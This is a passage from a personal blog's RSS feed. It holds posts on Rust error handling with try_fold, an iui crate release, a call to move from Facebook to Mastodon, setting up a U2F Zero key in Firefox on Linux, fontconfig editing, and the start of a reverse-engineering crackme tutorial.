style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Making&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;each&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;map&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;operation&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;take&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;Result&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;type&lt;/span&gt; makes&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;this&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;much&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;prettier,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;and&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;with&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;the&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;newly&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;stablized&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;try_fold&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;](https:&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;//doc.rust-lang.org/std/iter/trait.Iterator.html#method.try_fold), it can be done in only a few lines. This is because the `?` operator is allowed to operate correctly in these contexts.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;```&lt;/span&gt;rust&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; compute(input: String)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Result&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;i32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;String&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;ingest(input)?&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Ingest and abort if error. Simple enough&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.into_iter()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.map(|i|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;i.normalize())&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Maps into Result&amp;lt;Data, String&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.map(|i|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;i?.perform_operation())&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Maps into Result&amp;lt;i32, String&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.try_fold(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|agg,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;curr|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Ok(aggregate(agg,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;curr?)))&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Maximize&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;lessons&#34;&gt;Lessons&lt;/h2&gt;&#xA;&lt;p&gt;Thanks for reading, and a huge thanks to &lt;a href=&#34;https://www.reddit.com/r/rust/comments/8ts8xn/how_can_i_map_across_multiple_fallible_operations/e19v5w0/?st=jiw27tg4&amp;amp;sh=a6a16d53&#34;&gt;CUViper&lt;/a&gt; for helping me come up with this solution to my problem. The takeaways from this process for me have been threefold:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Functional combinators in Rust are very powerful. They fit well in any problem that involves processing many homogeneous data points.&lt;/li&gt;&#xA;&lt;li&gt;Design around fallibility. Pretending that fallible operations can&amp;rsquo;t fail is a recipe for convoluted, type-weird code.&lt;/li&gt;&#xA;&lt;li&gt;When a problem can&amp;rsquo;t be solved at one level, step back and look a the level above it. I spent hours trying to work out the types for the &lt;code&gt;.collect::&amp;lt;&amp;gt;()&lt;/code&gt; call when I should have reexamined the whole pipeline.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you enjoyed this tutorial, you might like to read &lt;a href=&#34;./tutorial/a-gentle-introduction-to-practical-types/&#34;&gt;more about Rust types&lt;/a&gt;, or perhaps learn how &lt;a href=&#34;./tutorial/session-types/&#34;&gt;session types&lt;/a&gt; can make your code better.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Improved User Interface 0.3.0!</title>
      <link>https://nora.codes/post/improved-user-interface-0.3.0/</link>
      <pubDate>Wed, 13 Jun 2018 08:46:55 -0500</pubDate>
      <guid>https://nora.codes/post/improved-user-interface-0.3.0/</guid>
      <description>&lt;p&gt;The &lt;a href=&#34;https://crates.rs/crates/iui&#34;&gt;Improved User Interface crate&lt;/a&gt; has had its 0.3.0 release, adding new input fields (&lt;a href=&#34;https://docs.rs/iui/0.3.0/iui/controls/struct.Checkbox.html&#34;&gt;Checkbox&lt;/a&gt; and &lt;a href=&#34;https://docs.rs/iui/0.3.0/iui/controls/struct.Combobox.html&#34;&gt;Combobox&lt;/a&gt;), new layout options (&lt;a href=&#34;https://docs.rs/iui/0.3.0/iui/controls/struct.LayoutGrid.html&#34;&gt;LayoutGrid&lt;/a&gt;), as well as finally working 100% on Windows, and with many bug fixes.&#xA;This comes with the 0.1.3 release of the underlying &lt;a href=&#34;https://crates.rs/crates/ui-sys&#34;&gt;ui-sys crate&lt;/a&gt; to support these features.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s been a big undertaking to get to this point, and I&amp;rsquo;m excited to grow from here, now that &lt;code&gt;libui&lt;/code&gt; itself is moving forward again as well.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;The &lt;a href=&#34;https://crates.rs/crates/iui&#34;&gt;Improved User Interface crate&lt;/a&gt; has had its 0.3.0 release, adding new input fields (&lt;a href=&#34;https://docs.rs/iui/0.3.0/iui/controls/struct.Checkbox.html&#34;&gt;Checkbox&lt;/a&gt; and &lt;a href=&#34;https://docs.rs/iui/0.3.0/iui/controls/struct.Combobox.html&#34;&gt;Combobox&lt;/a&gt;), new layout options (&lt;a href=&#34;https://docs.rs/iui/0.3.0/iui/controls/struct.LayoutGrid.html&#34;&gt;LayoutGrid&lt;/a&gt;), as well as finally working 100% on Windows, and with many bug fixes.&#xA;This comes with the 0.1.3 release of the underlying &lt;a href=&#34;https://crates.rs/crates/ui-sys&#34;&gt;ui-sys crate&lt;/a&gt; to support these features.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s been a big undertaking to get to this point, and I&amp;rsquo;m excited to grow from here, now that &lt;code&gt;libui&lt;/code&gt; itself is moving forward again as well.&lt;/p&gt;&#xA;&lt;p&gt;I want to give a huge shoutout to several GitHub users who helped with the project, specifically:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pgvee, who helped fix Windows CI and worked on LayoutGrid&lt;/li&gt;&#xA;&lt;li&gt;huangjj27, who did an amazing job fixing Windows builds&lt;/li&gt;&#xA;&lt;li&gt;ZakCodes, who fixed an API bug&lt;/li&gt;&#xA;&lt;li&gt;masche842, who implemented several new features&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;From the project management side, we have a vastly improved README, a CONTRIBUTING guideline file, and have resolved to keep a changelog.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;d like to extend a huge thank you to all of y&amp;rsquo;all for keeping this ball rolling.&#xA;I&amp;rsquo;m excited to see where we go from here.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>#DeleteFacebook and FOSTA/SESTA</title>
      <link>https://nora.codes/post/deletefacebook-and-fosta/</link>
      <pubDate>Wed, 28 Mar 2018 11:16:18 -0500</pubDate>
      <guid>https://nora.codes/post/deletefacebook-and-fosta/</guid>
      <description>&lt;p&gt;We, each and every one of us, need to make the decision to move to free, open source, and &lt;strong&gt;decentralized&lt;/strong&gt; online services.&#xA;It will be painful. It will be difficult. It may mean giving up some comforts, like sending money instantly to friends without fees.&#xA;It is also the only way to prevent some seriously bad things from happening.&lt;/p&gt;&#xA;&lt;h2 id=&#34;inciting-events&#34;&gt;Inciting Events&lt;/h2&gt;&#xA;&lt;p&gt;In recent weeks, two major things happened:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Facebook&amp;rsquo;s business model - gathering as much information about you as possible, then selling it - was used in &lt;a href=&#34;https://slate.com/technology/2018/03/the-real-scandal-isnt-cambridge-analytica-its-facebooks-whole-business-model.html&#34;&gt;a totally predictable way&lt;/a&gt; that, nonetheless, nobody seemed prepared for. Cambridge Analytica paid 270,000 users and ended up with data from &lt;strong&gt;50 million&lt;/strong&gt;, none of whom consented to that data being used. They then targeted vulnerable individuals in a (successful) attempt to play on their fears and get Donald Trump elected president.&lt;/li&gt;&#xA;&lt;li&gt;The United States government passed two laws, FOSTA and SESTA, which are completely ass-backwards attempts to combat sex trafficking that actually &lt;a href=&#34;https://rewire.news/article/2018/03/01/anti-trafficking-legislation-shouldnt-come-cost-victims-sex-workers/&#34;&gt;severly harm victims and sex workers&lt;/a&gt;. In response, many web services are &lt;a href=&#34;https://survivorsagainstsesta.org/documentation/&#34;&gt;cracking down&lt;/a&gt; on &lt;em&gt;any&lt;/em&gt; sexually explicit content, including articles written about the porn industry and its issues.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These are not good things, but, and this may be hard to hear: &lt;strong&gt;they are entirely our fault, as Web users&lt;/strong&gt;.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;We, each and every one of us, need to make the decision to move to free, open source, and &lt;strong&gt;decentralized&lt;/strong&gt; online services.&#xA;It will be painful. It will be difficult. It may mean giving up some comforts, like sending money instantly to friends without fees.&#xA;It is also the only way to prevent some seriously bad things from happening.&lt;/p&gt;&#xA;&lt;h2 id=&#34;inciting-events&#34;&gt;Inciting Events&lt;/h2&gt;&#xA;&lt;p&gt;In recent weeks, two major things happened:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Facebook&amp;rsquo;s business model - gathering as much information about you as possible, then selling it - was used in &lt;a href=&#34;https://slate.com/technology/2018/03/the-real-scandal-isnt-cambridge-analytica-its-facebooks-whole-business-model.html&#34;&gt;a totally predictable way&lt;/a&gt; that, nonetheless, nobody seemed prepared for. Cambridge Analytica paid 270,000 users and ended up with data from &lt;strong&gt;50 million&lt;/strong&gt;, none of whom consented to that data being used. They then targeted vulnerable individuals in a (successful) attempt to play on their fears and get Donald Trump elected president.&lt;/li&gt;&#xA;&lt;li&gt;The United States government passed two laws, FOSTA and SESTA, which are completely ass-backwards attempts to combat sex trafficking that actually &lt;a href=&#34;https://rewire.news/article/2018/03/01/anti-trafficking-legislation-shouldnt-come-cost-victims-sex-workers/&#34;&gt;severly harm victims and sex workers&lt;/a&gt;. In response, many web services are &lt;a href=&#34;https://survivorsagainstsesta.org/documentation/&#34;&gt;cracking down&lt;/a&gt; on &lt;em&gt;any&lt;/em&gt; sexually explicit content, including articles written about the porn industry and its issues.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These are not good things, but, and this may be hard to hear: &lt;strong&gt;they are entirely our fault, as Web users&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-could-this-happen&#34;&gt;How Could This Happen?&lt;/h2&gt;&#xA;&lt;p&gt;A lot of people are running around with their hair on fire, wondering, &amp;ldquo;how could this happen?&amp;rdquo;. The answer is simple: &lt;strong&gt;we trusted large, centralized, profit-driven services with everything we care about&lt;/strong&gt; - our photos, our messages, our opinions, our livelihoods, and even our relationships.&lt;/p&gt;&#xA;&lt;p&gt;Had Facebook not been the primary way for hundreds of millions of people to communicate and express their opinions, Cambridge Analytica could not have used the fears and anxieties expressed in those communications to manipulate voters.&lt;/p&gt;&#xA;&lt;p&gt;Had we not become reliant on Skype and Google Drive to carry out business and pleasure, FOSTA and SESTA would not be hitting sex workers and survivors of rape so hard.&lt;/p&gt;&#xA;&lt;p&gt;Had we interrogated, for even one instant, what it was that funded and powered the &amp;ldquo;free&amp;rdquo; online services we entrusted with our social and professional lives, we would have glimpsed the writhing horror we were building, and turned away in disgust.&lt;/p&gt;&#xA;&lt;h2 id=&#34;is-there-any-hope&#34;&gt;Is There Any Hope?&lt;/h2&gt;&#xA;&lt;p&gt;Fortunately, there is a light at the end of the tunnel. Those of us who &lt;em&gt;did&lt;/em&gt; understand the true nature of &amp;ldquo;free&amp;rdquo; services like Facebook have been building a solution.&lt;/p&gt;&#xA;&lt;p&gt;This solution is &lt;strong&gt;decentralized services&lt;/strong&gt;. This means that anyone - any organization or individual with Internet access - can participate, not just as a user but as a service provider.&lt;/p&gt;&#xA;&lt;p&gt;One of the key pieces of software here is called &lt;a href=&#34;joinmastodon.org&#34;&gt;Mastodon&lt;/a&gt;. It is a microblogging platform, like Tumblr or Twitter, but rather than every user handing over their data to Twitter-the-company, there are thousands of &amp;ldquo;Mastodon sites&amp;rdquo;. There is &lt;a href=&#34;https://cybre.space&#34;&gt;cyber.space&lt;/a&gt; and &lt;a href=&#34;https://witches.town&#34;&gt;witches.town&lt;/a&gt;, &lt;a href=&#34;https://mastodon.social&#34;&gt;mastodon.social&lt;/a&gt; and &lt;a href=&#34;https://pawoo.net&#34;&gt;pawoo.net&lt;/a&gt;. The crucial feature is this: &lt;strong&gt;if you have an account on mastodon.social (or any other Mastodon site), and I have one on cybre.space (or any other Mastodon site), I can talk to you and you can talk to me&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you want to see a sample Mastodon profile, check out mine: &lt;a href=&#34;https://weirder.earth/@noracodes&#34;&gt;noracodes@weirder.earth&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s say I join mastodon.social with all my friends, but the people who run the site don&amp;rsquo;t agree with me - perhaps they don&amp;rsquo;t adequately protect me from harassment, and I want to move to &lt;a href=&#34;https://kitty.town&#34;&gt;kitty.town&lt;/a&gt; which is more aggressively moderated. With a traditional, centralized model, I would have to convince my friends to come with me, or be resigned to losing contact. &lt;strong&gt;With decentralized social media, you stay connected even if you move service providers&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That means that the problems mentioned above would be very, very short-lived. One Mastodon site (or &amp;ldquo;instance&amp;rdquo; as they&amp;rsquo;re called) starts doing shady things with user data. &lt;strong&gt;All the users can simply move to another instance with practically zero effort.&lt;/strong&gt;. The network of instances can also cut off instances that are sources of spam or harassment, and that decision is up to the moderators and admins for each instance. &lt;strong&gt;If you don&amp;rsquo;t like the decisions the moderation team of your instance makes, you can move to another, more agreeable one with almost no effort.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Remember, there have been massive issues with moderation on Twitter. Those issues are largely solved by smaller, more tailored moderation teams, which Mastodon enables.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;While Mastodon is modelled after Twitter, the same underlying systems are being applied to Facebook-like and Tumblr-like sites. Even more interestingly, &lt;strong&gt;these will be able to talk to each other&lt;/strong&gt;. Imagine being able to see Twitter posts in Facebook, or Facebook posts on Tumblr. This further reduces lock-in. Don&amp;rsquo;t like the Mastodon format? Move to Aardwolf or Pleroma or &amp;hellip; wherever. You will still be connected to your friends.&lt;/p&gt;&#xA;&lt;iframe width=&#34;560&#34; height=&#34;315&#34; src=&#34;https://www.youtube.com/embed/IPSbNdBmWKE&#34; frameborder=&#34;0&#34; allow=&#34;autoplay; encrypted-media&#34; allowfullscreen&gt;&lt;/iframe&gt;&#xA;&lt;h2 id=&#34;what-you-need-to-do&#34;&gt;What You Need To Do&lt;/h2&gt;&#xA;&lt;p&gt;There are a few things you can do to help.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Make a Mastodon account. &lt;a href=&#34;https://joinmastodon.org&#34;&gt;joinmastodon.org&lt;/a&gt; will help you get started. Then, &lt;strong&gt;aggressively convince your friends to switch from Facebook, Twitter, et cetera.&lt;/strong&gt; Be &amp;ldquo;that person&amp;rdquo;. It&amp;rsquo;s painful at first but the benefits are worth it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Use other decentralized software. E-mail, for instance, is better than Facebook Messenger, even if you use GMail or Yahoo! Mail or another large e-mail provider, because there is the &lt;em&gt;option&lt;/em&gt; to move to another.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Share this post. Share it on Facebook and Twitter and Instagram and &lt;em&gt;everywhere&lt;/em&gt;. Or write your own and share that. Make it resonate.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Together, we can build an internet that&amp;rsquo;s not just safer, but more enjoyable. Thank you. Your effort and struggle are valuable.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>U2F Zero in Firefox</title>
      <link>https://nora.codes/post/u2f-zero-in-firefox/</link>
      <pubDate>Mon, 26 Mar 2018 11:48:21 -0500</pubDate>
      <guid>https://nora.codes/post/u2f-zero-in-firefox/</guid>
      <description>&lt;p&gt;I recently got a &lt;a href=&#34;https://u2fzero.com&#34;&gt;U2F Zero&lt;/a&gt;, a tiny (about 2 inches long) and cheap (about 8 dollars) device implementing the FIDO Universal Second Factor protocol. It&amp;rsquo;s open source, too, which is awesome.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;https://camo.githubusercontent.com/8f7abb7f684061138bd2a0aefa631a6fddad0d35/68747470733a2f2f692e696d6775722e636f6d2f4865725a6857512e6a7067&#34;&gt;&lt;img src=&#34;https://camo.githubusercontent.com/8f7abb7f684061138bd2a0aefa631a6fddad0d35/68747470733a2f2f692e696d6775722e636f6d2f4865725a6857512e6a7067&#34; alt=&#34;A closeup of the U2F Zero&#34;&gt;&lt;/a&gt;&#xA;A close-up shot of the U2F Zero.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;I primarily use Firefox. Unfortunately, Firefox doesn&amp;rsquo;t support U2F out of the box; you have to enable &lt;code&gt;security.webauth.u2f&lt;/code&gt; in &lt;a href=&#34;about:config&#34;&gt;about:config&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once enabled, I tried to register it with GitHub. Unfortunately, it kept on failing, despite the little green light on the U2F Zero going blue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I recently got a &lt;a href=&#34;https://u2fzero.com&#34;&gt;U2F Zero&lt;/a&gt;, a tiny (about 2 inches long) and cheap (about 8 dollars) device implementing the FIDO Universal Second Factor protocol. It&amp;rsquo;s open source, too, which is awesome.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;https://camo.githubusercontent.com/8f7abb7f684061138bd2a0aefa631a6fddad0d35/68747470733a2f2f692e696d6775722e636f6d2f4865725a6857512e6a7067&#34;&gt;&lt;img src=&#34;https://camo.githubusercontent.com/8f7abb7f684061138bd2a0aefa631a6fddad0d35/68747470733a2f2f692e696d6775722e636f6d2f4865725a6857512e6a7067&#34; alt=&#34;A closeup of the U2F Zero&#34;&gt;&lt;/a&gt;&#xA;A close-up shot of the U2F Zero.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;I primarily use Firefox. Unfortunately, Firefox doesn&amp;rsquo;t support U2F out of the box; you have to enable &lt;code&gt;security.webauth.u2f&lt;/code&gt; in &lt;a href=&#34;about:config&#34;&gt;about:config&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once enabled, I tried to register it with GitHub. Unfortunately, it kept on failing, despite the little green light on the U2F Zero going blue.&lt;/p&gt;&#xA;&lt;p&gt;Eventually, I discovered that one security measure - Linux isolating Firefox from my USB devices - was getting in the way of this new one. I added the contents of &lt;a href=&#34;https://github.com/Yubico/libu2f-host/blob/master/70-u2f.rules&#34;&gt;this file&lt;/a&gt; to &lt;code&gt;/etc/udev/rules.d/10-u2f.rules&lt;/code&gt; and ran &lt;code&gt;sudo udevadm control --reload&lt;/code&gt; to reload the rules, and it worked!&lt;/p&gt;&#xA;&lt;p&gt;The process is as follows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log into a website that supports U2F&lt;/li&gt;&#xA;&lt;li&gt;Enable second factor with some 2FA app, like Google Authenticator&lt;/li&gt;&#xA;&lt;li&gt;Find the interface to register a U2F device&lt;/li&gt;&#xA;&lt;li&gt;Plug in U2F Zero&lt;/li&gt;&#xA;&lt;li&gt;When light is green, press the only button on the device&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The light turns blue and, if all goes well, the device will be registered. Now, instead of pulling out your phone and entering a code, just whack in the U2F Zero and hit the button when you log in.&lt;/p&gt;&#xA;&lt;p&gt;Works like a charm, and the bare matte-black PCB means you can keep your hacker aesthetic going, or 3D print a case to your liking.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>A Methodology for Fontconfig Editing</title>
      <link>https://nora.codes/post/a-methodology-for-fontconfig-editing/</link>
      <pubDate>Wed, 07 Mar 2018 11:16:38 -0600</pubDate>
      <guid>https://nora.codes/post/a-methodology-for-fontconfig-editing/</guid>
      <description>&lt;p&gt;One of the hardest parts of building beautiful Linux systems is fonts. Font precedence on Linux is generally handled with &lt;a href=&#34;https://www.freedesktop.org/wiki/Software/fontconfig/&#34;&gt;fontconfig&lt;/a&gt;.&#xA;In essence, &lt;code&gt;fontconfig&lt;/code&gt; is used to permit many fonts to be installed and uninstalled over time without breaking applications which specify a font or font family, while letting users configure which fonts are used when a missing font, font family, or missing glyph is requested.&lt;/p&gt;&#xA;&lt;p&gt;This is really useful piece of technology; having a defined configuration system for which fonts are used in which scenarios is a boon for configurability, but fontconfig has no real GUI editors or usable interactive configuration tools. Users are expected to manually edit XML configuration files.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;One of the hardest parts of building beautiful Linux systems is fonts. Font precedence on Linux is generally handled with &lt;a href=&#34;https://www.freedesktop.org/wiki/Software/fontconfig/&#34;&gt;fontconfig&lt;/a&gt;.&#xA;In essence, &lt;code&gt;fontconfig&lt;/code&gt; is used to permit many fonts to be installed and uninstalled over time without breaking applications which specify a font or font family, while letting users configure which fonts are used when a missing font, font family, or missing glyph is requested.&lt;/p&gt;&#xA;&lt;p&gt;This is really useful piece of technology; having a defined configuration system for which fonts are used in which scenarios is a boon for configurability, but fontconfig has no real GUI editors or usable interactive configuration tools. Users are expected to manually edit XML configuration files.&lt;/p&gt;&#xA;&lt;p&gt;As with most Unix styling topics, Eevee has &lt;a href=&#34;https://eev.ee/blog/2015/05/20/i-stared-into-the-fontconfig-and-the-fontconfig-stared-back-at-me/&#34;&gt;a great piece&lt;/a&gt; on fontconfig&amp;rsquo;s complexities. She digs into how to disable and re-configure fonts, how to set fallbacks, and how to verify that the correct resolution order is set. Fontconfig relies on a set of config files, generally in &lt;code&gt;/etc/fonts/conf.d&lt;/code&gt;, which are loaded in alphabetical order. These are usually prefixed with a number, so it&amp;rsquo;s easy to determine the order.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, it can be very complex to determine where a specific font or option is configured. In my recent case, I wanted to switch from &lt;code&gt;DejaVu&lt;/code&gt; as my default to &lt;code&gt;Bitstream Vera&lt;/code&gt;, and I spent the better part of an hour flipping around different files changing mentions of &lt;code&gt;Deja Vu X&lt;/code&gt; to &lt;code&gt;Bitstream Vera X&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Eventually, I settled on the following methodology:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Identify problematic resolution result (either by observing it or using &lt;code&gt;fc-match -s&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;/etc/fonts/conf.d&lt;/code&gt;, use &lt;code&gt;grep&lt;/code&gt; or &lt;code&gt;rg&lt;/code&gt; to search for the incorrectly resolved font (e.g. &lt;code&gt;rg DejaVu .*&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Open highest-numbered file with a match. For me, this was &lt;code&gt;69-language-selector-zh-tw.conf&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Determine whether or not this config file is causing the problematic match. In the case of &lt;code&gt;69-language-selector-zh-tw.conf&lt;/code&gt;, it was only selecting DejaVu Sans Mono for language &lt;code&gt;zh-tw&lt;/code&gt;, which is actually correct as Bitstream Vera Mono doesn&amp;rsquo;t include &lt;code&gt;zh-tw&lt;/code&gt; glyphs.&lt;/li&gt;&#xA;&lt;li&gt;If that file might be causing the problematic match, modify it.&lt;/li&gt;&#xA;&lt;li&gt;Check if the problematic resolution still occurs (using fc-match). If so, repeat.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been very successful with this methodology so far. In my specific case, I had to modify &lt;code&gt;56-emojione.conf&lt;/code&gt;, which was setting the default serif, sans serif, and monospace fonts to resolve to DejaVu followed by Emoji One.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Additional Exercises in Reverse Engineering</title>
      <link>https://nora.codes/tutorial/additional-exercises-in-reverse-engineering/</link>
      <pubDate>Sat, 03 Feb 2018 11:00:00 -0600</pubDate>
      <guid>https://nora.codes/tutorial/additional-exercises-in-reverse-engineering/</guid>
      <description>&lt;p&gt;This is a sequel to my (rather long) &lt;a href=&#34;an-intro-to-x86_64-reverse-engineering/&#34;&gt;introduction&lt;/a&gt; to reverse engineering. It is something of a &amp;ldquo;whirlwind tour&amp;rdquo; of some useful methods that weren&amp;rsquo;t shown in that tutorial, and provides a number of exercises to hone your skills.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-crackme-programs&#34;&gt;The CrackMe Programs&lt;/h2&gt;&#xA;&lt;p&gt;You can find the CrackMes discussed here on &lt;a href=&#34;https://github.com/noracodes/crackmes&#34;&gt;GitHub&lt;/a&gt;. Clone that repository and, &lt;em&gt;without looking at the source code&lt;/em&gt;, build each CrackMe with &lt;code&gt;make crackme01&lt;/code&gt;, &lt;code&gt;make crackme02&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tools-and-software&#34;&gt;Tools and Software&lt;/h2&gt;&#xA;&lt;p&gt;These CrackMes only work on Unix systems, and I wrote this tutorial using Linux. You need the essentials of a development environment installed - a C compiler (&lt;code&gt;gcc&lt;/code&gt;), object inspection utilities (&lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;objcopy&lt;/code&gt;, 